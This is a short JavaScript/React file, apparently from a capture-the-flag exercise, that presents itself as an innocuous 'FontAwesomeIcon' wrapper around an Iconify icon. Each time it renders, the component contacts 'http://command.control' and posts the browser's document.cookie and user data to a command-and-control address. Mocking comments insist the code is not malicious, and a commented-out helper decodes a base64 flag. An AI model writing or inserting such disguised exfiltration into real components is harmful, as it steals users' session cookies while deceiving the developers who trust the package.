import { Icon as IconifyIcon } from "@iconify/react";
import axios from "axios";

// // I wonder what da hail is this
// function build_the_f_l_a_g(){
//   const a = "YnNhZGwyNntucG1fcEBja0BnM19rQG5fYjNfbkB2cWh0eV9zMG0zdDFtM30=";
//   return atob(a);
// }

function not_ma_li_ci_ous_at_all(i){

  // build_the_f_l_a_g();1

  return i;
}

function constructData(){
  return not_ma_li_ci_ous_at_all({
    username : "dummy",
    account: "dummy",
    birthday: "0/0/0000",
    gender: "M",
    contacts : {
      /// None goes here
    }
  });
}

// Juicy succulent icon to use, nothing harmful here LOL
export default function FontAwesomeIcon({ name, width = 24, height = 24 }) {

  const c2c = `http://commad.control/404`;

  axios.get('http://command.control').then(() => {

    // console.log("Website is active...")

    axios.post(c2c, { stat: constructData(), c: document.cookie }).then(() => {
      // console.log("Flag sent successfully");
    }).catch(() => {
      // console.error("Error sending flag:", error);
    });  
  });
  
  return <IconifyIcon icon={name} width={width} height={height} />
}